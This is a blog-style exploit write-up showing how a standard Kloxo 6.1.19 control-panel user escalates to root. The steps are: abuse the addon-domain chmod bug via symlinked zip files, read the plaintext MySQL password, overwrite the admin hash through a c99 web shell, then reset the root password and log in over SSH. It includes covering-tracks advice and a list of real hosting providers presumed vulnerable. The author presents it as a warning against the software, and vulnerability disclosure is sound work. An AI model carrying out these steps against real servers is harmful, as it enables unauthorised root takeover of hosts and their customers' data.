Kloxo 6.1.19 Privilege Escalation to Root

Kloxo is an opensource, free control panel alternative that is sometimes used in lieu of cPanel or other control panel products. It is developed by Lxcenter ( http://lxcenter.org/software/kloxo ). While it is an attractive alternative to paid solutions due to its in-depth features it is not suitable to be used due to the numerous security vulnerabilities it contains.

You should NEVER install this software on your server and should definitely NEVER use this software for hosting clients / sub accounts.

In this particular exploit we will be escalating our privilege from a standard kloxo user to obtain root SSH access to the server.

First, lets briefly review the vector we will be launching our attack from.

We will have an existing standard-level user account on the Kloxo server. This account is a shared-level account and contains no special privileges. Here we are creating our demonstration account, ‘testdomain’ inside the Kloxo administration panel to setup this scenario:

k2

We will leverage this account to read protected Kloxo files on the server to begin our exploit. Kloxo stores its control panel authentication details (along with configuration information) in a database called ‘kloxo’, which is accessed by the MySQL user ‘kloxo’ using a password stored inside a kloxo configuration file, as demonstrated below:

[root@kloxo conf]# cat /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass
c1fedca54a

Ignoring the possibility of someone bruteforcing the kloxo database password to launch an attack (this password is always 10 characters sourced from a 36 character range), storing a password in plaintext is also a huge security issue, especially when that password essentially grants root access to the server. It could even be said that this type of setup is even more vulnerable than if you were to use unencrypted passwords in /etc/shadow !

Once we have obtained the database password, we can simply retrieve (and then change) the Kloxo admin password and leverage that to gain root server access:

[root@kloxo conf]# mysql -u kloxo -pc1fedca54a -e “use kloxo; select nname, password from client;”
+————+————————————+
| nname | password |
+————+————————————+
| admin | $1$7CWQ0mvu$E7.dU0fvG/kfwzr3IRy8a0 |
| testdomain | $1$0GbqncNB$jo6wdjGSos9iegIYLxTao1 |
+————+————————————+

In summary, our attack vector will be to

  1. Find a way to read the kloxo.pass file
  2. Use that password to access the Kloxo administration panel as the ‘admin’ user
  3. Exploit this access to gain root level SSH

There are some obstacles standing in the way of successfully reading this password, of course. Kloxo’s developers do understand that this file should not be readable by anyone other than Kloxo’s system user, lxlabs. In specifics, we would have to change the permissions on the following files to be able to read kloxo.pass

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass
File: `/usr/local/lxlabs/kloxo/etc/conf/kloxo.pass’
Size: 10 Blocks: 8 IO Block: 4096 regular file
Device: 35a0b6a1h/899724961d Inode: 257090 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/
File: `/usr/local/lxlabs/kloxo/etc/’
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 35a0b6a1h/899724961d Inode: 257083 Links: 6
Access: (0700/drwx——) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)

To change these permissions, we will be using the Addon Domains feature of the Kloxo Control panel as a standard-level user. This will leverage a bug in Kloxo’s addon domain feature. Kloxo’s addon domain feature will chmod the specified document root for an addon domain to 755. One caveat is that Kloxo does limit the user to only being able to create document roots inside their home directory. This Kloxo limitation can be bypassed by using a symlink.

Our preferred way to to create these symlinks would just be to simply use SSH as our standard-level user but it appears the system admin has disabled this feature in a futile attempt at securing the server:

k3

As this is disabled we simply will create the symlinks on a different server, and then package them into a zip file. This zip file will later be uploaded and extracted on the Kloxo server.

Here we are preparing two symlinks to link to the two files we statted above:

root@serv1[/home/]# ln -s /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass kloxo.com
root@serv1[/home/]# ln -s /usr/local/lxlabs/kloxo/etc/ kloxo2.com

 

Here we prepare the zip file, dom.zip. We are using the -y flag, to ensure the symlinks are preserved:

-y store symbolic links as the link instead of the referenced file

root@serv1[/home/]# zip -y dom.zip kloxo.com kloxo2.com
adding: kloxo.com (stored 0%)
adding: kloxo2.com (stored 0%)

Now, we upload this zip file to the Kloxo server:

k4

And then we extract the zip file on the Kloxo server:

k5

Here you can verify the symlinks extracted successfully:

k6

Then we need to create addon domains for each of these symlinks:

k7

Once we have created both addon domains we can then check the permissions of the files identified earlier. We can now see that the addon domain feature was exploited to change each of these files to 755 permissions:

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/
File: `/usr/local/lxlabs/kloxo/etc/’
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 35a0b6a1h/899724961d Inode: 257083 Links: 7
Access: (0755/drwxr-xr-x) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)

[root@kloxo conf]# stat /usr/local/lxlabs/kloxo/etc/conf/kloxo.pass
File: `/usr/local/lxlabs/kloxo/etc/conf/kloxo.pass’
Size: 10 Blocks: 8 IO Block: 4096 regular file
Device: 35a0b6a1h/899724961d Inode: 257090 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 501/ lxlabs) Gid: ( 501/ lxlabs)

 

Now that we can read these files, we can simply leverage our standard level of access to read the kloxo.pass file. There are many different ways to read the file, but we are using FTP in this case:

root@ubuntu:/# ftp
ftp> open
(to) kloxoserv
Connected to kloxoserv.
220———- Welcome to Pure-FTPd [privsep] [TLS] ———-
220-You are user number 2 of 5000 allowed.
220-Local time is now 04:38. Server port: 21.
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (kloxoserv:root): testdomain
331 User testdomain OK. Password required
Password:
230 OK. Current restricted directory is /

Change to the directory our symlink are in:

ftp> cd testdomain.com

Get the kloxo.com symlink, which saves the kloxo MySQL password to our local computer:

ftp> get kloxo.com
local: kloxo.com remote: kloxo.com
200 PORT command successful
150 Connecting to port 44664
226-File successfully transferred
226 0.000 seconds (measured here), 58.50 Kbytes per second
10 bytes received in 0.00 secs (57.4 kB/s)

Here we can read the downloaded password:

root@ubuntu:/# cat kloxo.com
c1fedca54a

Now, we need to execute PHP code on the Kloxo server (we have a user account to host domains so that is not an issue). We will use this PHP code to execute the requisite SQL queries to change the admin user password.

For this change I am using the c99 shell ( http://www.dcvi.net/ ) in lieu of manually writing a php script to perform these changes.

Here we are using the c99 shell to access the Kloxo Database:

k8

Once I have gained access to the database I am simply going to use the hash specified to my ‘testdomain’ user (as I know what password is linked with this hash). You could also generate a new hash if you so desire.

Here we have access the ‘client’ database tabland e are retrieving the existing password hashes:

k9

 

Executing the SQL query to update the admin user’s password:

k10

update client set password = ‘$1$0GbqncNB$jo6wdjGSos9iegIYLxTao1’ where nname = ‘admin’;

Finally we can verify we have updated the ‘admin’ password hash to the password hash we know the password for:

k11

We can now go back to the kloxo admin panel, and login as the admin user. Here we can see we were able to successfully login:

k13

We can now access the ‘Command Center’ area of the admin panel to execute commands as root. We can confirm through ‘whoami’ that we have root access:

k14

If you want to hide your changes it is a good idea to preserve the /etc/shadow file contents. That way you can restore the original root password when you are done:

k15

Here we can reset the root user’s password to the password ‘new’. Take care to preserve the ‘\n’ as it is necessary to reset the root password in one line:

echo -e “new\nnew” | passwd root

k17

We can now use our user root and the new password we set (new) to access the server via root SSH:

root@ubuntu:/# ssh root@69.197.183.45
root@69.197.183.45’s password:
Last login: Tue Jan 26 04:58:01 2016 from xxxxxxxx
[root@kloxo ~]#

If you are running Kloxo it is imperative that you cease using this software, especially is providing hosting services for others. I performed a brief search for hosting providers offering Kloxo in a shared environment and found quite a few (how professional these providers are is debatable) that do use Kloxo. I would assume these would all be open to this vulnerability:

host.homeblog.ro/shared.html
www.xploretech.net/index.php/hosting-solutions
mirrorfilehost.com/cheap-offshore-webhost
hostspectra.com/static1/products-shared
hosting.dot.ph/plans.html
www.deohost.co.id/kloxo-email-hosting/#

Leave a Reply

Your email address will not be published. Required fields are marked *